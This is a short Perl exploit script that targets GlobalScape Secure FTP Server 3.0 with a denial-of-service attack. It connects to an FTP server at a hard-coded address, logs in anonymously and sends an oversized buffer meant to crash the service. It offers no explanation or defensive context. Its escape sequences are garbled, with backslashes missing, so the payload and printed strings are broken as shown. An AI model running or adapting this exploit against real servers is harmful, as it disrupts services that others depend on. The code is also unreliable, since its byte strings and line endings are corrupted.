GlobalScape Secure FTP Server 3.0 Denial Of Service

#!/usr/bin/perl
use strict;
use IO::Socket;

print "GlobalScape Secure FTP Server 3.0 - Denial of Service     n";

my $payload = "x41x42x0ax00"x147;

my $buffer = "x41"x2043 . "x41x42x43x00" . "x42"x36 . $payload;

my $sock = IO::Socket::INET->new(PeerAddr => '192.168.0.10', PeerPort => 21, Proto => 'tcp');
if ($sock) {
    print "[+] Connected to FTP servern";
    print "[+] Sending Usernamen";
    print $sock "USER anonymousrn";
    print "[+] Sending Passwordn";
    print $sock "PASS anonymousrn";
    print "[+] Sending payload to exploit nn";
    print $sock $buffer . "rn";
    print "[+] Exploit!n";
    close($sock);
} else {
    print "Can't connect to FTPn";
}